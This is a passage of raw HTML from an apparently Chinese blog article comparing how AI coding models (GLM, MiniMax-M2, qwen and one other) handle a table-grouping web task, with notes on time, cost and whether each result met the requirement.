Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=49fdd982&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnwHVoWb9fSPuJN007dT2MHflktzib2F2RFFOT3wsJkauYCQd5wH1OnlA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">整体用时5分钟左右，修改完成。</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">页面效果符合需求</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-07-38" class="rich_pages wxw-img" data-imgfileid="100002124" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=186d2e10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnskFNvD6sMqichicnJTibFUwyzjHnJe0SYicbVb8fmA86tTSBvia5OiaoAhWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">花费 0.25元</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-17-21" class="rich_pages wxw-img" data-imgfileid="100002122" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2e456f82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnzXy9UNpVPtPxcKTXKUQlKUEIOdWicxyGgKbBd4FR4ZMGgVsicibeH8eWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">实现方式: 通过修改原始数据遍历的函数实现</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-41-59" class="rich_pages wxw-img" data-imgfileid="100002126" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=70405da0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnktP9U6uiaicXtp2fzzriaxuYDC8iaISFlrwSP6zpXzzTb4rIn8jPjic41mw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">GLM</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">计费模式: </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">API按量付费 OR 开发者计划</span></strong></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">部分情况下，是直接开始改代码</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-19-06" class="rich_pages wxw-img" data-imgfileid="100002123" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=37e2651f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnPtfTYhHVpVlZ4hiaQW3gag1UGmwcIT8gia2MEMeIuu4XtUuiaTe6yV9rg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">用时1分钟20秒左右，完成了需求，但是原本表格样式被破坏。不符合需求</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-30-09" class="rich_pages wxw-img" data-imgfileid="100002125" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4758736a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13Rn9Tpxa7ibaEibcNaHT5TibWToKTic2eXxtn8qUSZqVe9wzjF3iaJBZElZT1w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">GLM 2测 : 依然破坏了格式</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-51-10" class="rich_pages wxw-img" data-imgfileid="100002129" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0708942c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnhVjwlJOIMgXC2YzgZzlXnB7sNfGZLNhbBkKXcCkwJcHgSNBMxS42nw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-50-32" class="rich_pages wxw-img" data-imgfileid="100002130" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=422ad712&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13Rn3ZBDdGULoCibrBgIUGAWM1EUZiaTJ7y2dMEwOr2OoCg3OxEAmNTd3DIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">实现方式和DeepSeek差不多</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-51-46" class="rich_pages wxw-img" data-imgfileid="100002131" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6d4bd3ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13Rn7lZKQazPZ6XtDBS4aR2dgaZ1Gyrf1o5rHluwIicRkvZiateEiaROaEmJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">MiniMax-M2</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">计费模式: </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">API按量付费 OR 开发者计划</span></strong></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">先规划后行动</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-33-02" class="rich_pages wxw-img" data-imgfileid="100002127" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=db6daabc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13Rn61sLTxDuSRpSbCYT4xsS2y1V5WTvwXIBvVzib6xBicNwTSTBTrJ6GHGw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-35-37" class="rich_pages wxw-img" data-imgfileid="100002128" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d700a3d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13Rn4yLeo2NEeO7f2HeeyQvqCYtBowqb9ib0ho9bvHg7lPLxJnuiaD8qSjIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">整体用时: 2分钟左右，满足需求，符合预期。</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-36-18" class="rich_pages wxw-img" data-imgfileid="100002134" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d1719e68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnEElFO4r5zwuymic6qyibGbydEtQyD2Xv9ibpVibJqTQNe5M7WHvMTS0uzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">M2的实现方式是通过，通过js新增函数来进行分组实现</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-39-29" class="rich_pages wxw-img" data-imgfileid="100002132" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=88d0c16d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13Rnbj6PVVwbBHeS1pnQ34NOfOX9pvQsYHxlicISosJGtvflmQLib030hNAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">qwen</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">qwen在未指定模型的情况下，无法通过默认配置使用claude code</span></p><p style="box-sizing: border-box;margin: 